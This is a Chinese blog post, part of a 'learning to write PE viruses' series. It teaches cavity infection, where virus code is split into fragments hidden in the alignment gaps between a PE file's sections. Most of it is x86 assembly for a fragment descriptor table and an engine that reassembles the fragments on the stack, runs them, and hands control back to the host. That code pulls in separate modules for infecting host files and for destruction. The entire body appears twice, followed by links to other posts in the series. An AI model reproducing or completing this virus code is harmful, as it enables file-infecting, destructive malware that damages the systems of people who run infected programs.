关于PE病毒编写的学习(10)——空隙覆盖病毒的实现方法
2014-07-20 21:01
281 查看
这类病毒名字很多,选这个名字主要是它比较形象说明其感染方式,即将病毒代码分成多份,分别注入到程序各节由于对齐产生的空白中。
1.核心——病毒描述表
将病毒代码分割成多份,分别注入到未知地址的区域内,却能完整运行。这看似神奇,其实实现方法却很简单———建立病毒分割描述表
病毒分割描述表举例(汇编):
Virus_Distribution struct;病毒片段描述符
Code_Base dword 0;该病毒片段的起始地址
Code_Length dword 0;该病毒片段的长度
Virus_Distribution ends
Distribution_Number=0AH
Virus_Distribution<401000h,VirusSize> ;病毒本身第一次编译时,必然和一般程序一样EOP默认是401000h,
;长度VirusSize,且没有被分割
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
分析:这里使用固定十组病毒片段描述符,因为PE文件节的个数很少能超过十个。当然也可使用根据文件节数相应调整的描述表,但是这样不但要增加这对病毒描述操作的代码。
2.病毒运行方案
由于代码分成多份,散乱的分布在文件中,怎么能将病毒连接起来运行呢,严格说方法很多,但比较简单可行的有两种方案:
①物理连接:建立初始化引擎,申请一块连续的空白区域,把按照病毒描述表所有片段按顺序拷贝到哪里,具体方方法
CreateFileMappingA,也可抬高堆栈
②逻辑连接:建立地址转换引擎,根据病毒描述表进行地址转换,让病毒代码逻辑上认为自己运行在连续的内存区域里
引擎设计的注意的问题:①引擎本身不可被分割,插入时应专门为引擎检查,空白区域是否能完整地容纳下引擎代码。
②引擎应该尽量小,因为空白区域是由于文件对齐产生的,对齐值默认200H。
举例(汇编):
Start:
;病毒初始化引擎////////////////////////////////
Engine_for_Initialization proc
push ebp
mov ebp,esp
sub esp,VirusStackSize;抬高堆栈
call Initialize_Virus_Code
Distribution_of_Virus_Code_Table:;病毒代码分布表,使用结构体描述。固定十组,
Distribution_Offset=$-Start
Distribution_Number=0Ah
Virus_Distribution<401000h,VirusSize>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Initialize_Virus_Code:
pop ebx
xor eax,eax
lea edi,[esp]
Copy_Next_CodeSection:
mov esi,[ebx+eax*(sizeof Virus_Distribution)]
and esi,esi
jz Initialize_End
mov ecx,[ebx+eax*(sizeof Virus_Distribution)+4]
Copy_Virus_Code:
lodsb
stosb
loop Copy_Virus_Code
inc eax
cmp eax,0Ah
jnz Copy_Next_CodeSection
Initialize_End:
;跳转到堆栈中的病毒代码,执行完返回宿主程序原入口点
mov eax,esp
add eax,VirusEngine_Size
call eax
;跳转到宿主程序
Jmp_Host_File:
jmp eax
Engine_for_Initialization endp
VirusEngine_Size =$-Start
;真正的病毒代码/////////////////////////////////////////////////
VirusCode proc uses ebx ecx edx esi edi
Include Data_and_Relocation.asm
Include Infect_HostFile.asm
Include Destory.asm
mov eax,Local_HostFile_OEP
ret
VirusCode endp
VirusSize =$-Start
1.核心——病毒描述表
将病毒代码分割成多份,分别注入到未知地址的区域内,却能完整运行。这看似神奇,其实实现方法却很简单———建立病毒分割描述表
病毒分割描述表举例(汇编):
Virus_Distribution struct;病毒片段描述符
Code_Base dword 0;该病毒片段的起始地址
Code_Length dword 0;该病毒片段的长度
Virus_Distribution ends
Distribution_Number=0AH
Virus_Distribution<401000h,VirusSize> ;病毒本身第一次编译时,必然和一般程序一样EOP默认是401000h,
;长度VirusSize,且没有被分割
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
分析:这里使用固定十组病毒片段描述符,因为PE文件节的个数很少能超过十个。当然也可使用根据文件节数相应调整的描述表,但是这样不但要增加这对病毒描述操作的代码。
2.病毒运行方案
由于代码分成多份,散乱的分布在文件中,怎么能将病毒连接起来运行呢,严格说方法很多,但比较简单可行的有两种方案:
①物理连接:建立初始化引擎,申请一块连续的空白区域,把按照病毒描述表所有片段按顺序拷贝到哪里,具体方方法
CreateFileMappingA,也可抬高堆栈
②逻辑连接:建立地址转换引擎,根据病毒描述表进行地址转换,让病毒代码逻辑上认为自己运行在连续的内存区域里
引擎设计的注意的问题:①引擎本身不可被分割,插入时应专门为引擎检查,空白区域是否能完整地容纳下引擎代码。
②引擎应该尽量小,因为空白区域是由于文件对齐产生的,对齐值默认200H。
举例(汇编):
Start:
;病毒初始化引擎////////////////////////////////
Engine_for_Initialization proc
push ebp
mov ebp,esp
sub esp,VirusStackSize;抬高堆栈
call Initialize_Virus_Code
Distribution_of_Virus_Code_Table:;病毒代码分布表,使用结构体描述。固定十组,
Distribution_Offset=$-Start
Distribution_Number=0Ah
Virus_Distribution<401000h,VirusSize>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Initialize_Virus_Code:
pop ebx
xor eax,eax
lea edi,[esp]
Copy_Next_CodeSection:
mov esi,[ebx+eax*(sizeof Virus_Distribution)]
and esi,esi
jz Initialize_End
mov ecx,[ebx+eax*(sizeof Virus_Distribution)+4]
Copy_Virus_Code:
lodsb
stosb
loop Copy_Virus_Code
inc eax
cmp eax,0Ah
jnz Copy_Next_CodeSection
Initialize_End:
;跳转到堆栈中的病毒代码,执行完返回宿主程序原入口点
mov eax,esp
add eax,VirusEngine_Size
call eax
;跳转到宿主程序
Jmp_Host_File:
jmp eax
Engine_for_Initialization endp
VirusEngine_Size =$-Start
;真正的病毒代码/////////////////////////////////////////////////
VirusCode proc uses ebx ecx edx esi edi
Include Data_and_Relocation.asm
Include Infect_HostFile.asm
Include Destory.asm
mov eax,Local_HostFile_OEP
ret
VirusCode endp
VirusSize =$-Start
相关文章推荐
- 关于PE病毒编写的学习(十一)——空隙覆盖病毒的实现方法
- 关于PE病毒编写的学习(五)——病毒如何做标记和记录信息
- 关于PE病毒编写的学习(九)——追加病毒的编写(上)
- 关于PE病毒编写的学习(十)——追加病毒的编写(下)
- 关于PE病毒编写的学习(五)——病毒如何做标记和记录信息
- 关于PE病毒编写的学习(7)——定位API的N种方法
- 关于PE病毒编写的学习(十)——追加病毒的编写(下)
- 关于PE病毒编写的学习(九)——追加病毒的编写(上)
- 关于PE病毒编写的学习(八)——定位API的N种方法(2010年10月25更新)
- 关于PE病毒编写的学习(九)——追加病毒的编写(上)
- 关于PE病毒编写的学习(八)——定位API的N种方法(2010年10月25更新)
- 关于PE病毒编写的学习(十)——追加病毒的编写(下)
- 关于PE病毒编写的学习(5)——病毒如何做标记和记录信息
- 关于PE病毒编写的学习(五)——病毒如何做标记和记录信息
- 关于PE病毒编写的学习(八)——定位API的N种方法
- 关于PE病毒编写的学习
- 关于PE病毒编写的学习(六)——关于PE文件结构操作的程序编写
- 关于PE病毒编写的学习(四)——关于历遍磁盘的讨论
- 关于PE病毒编写的学习(三)
- 关于PE病毒编写的学习(四)——关于历遍磁盘的讨论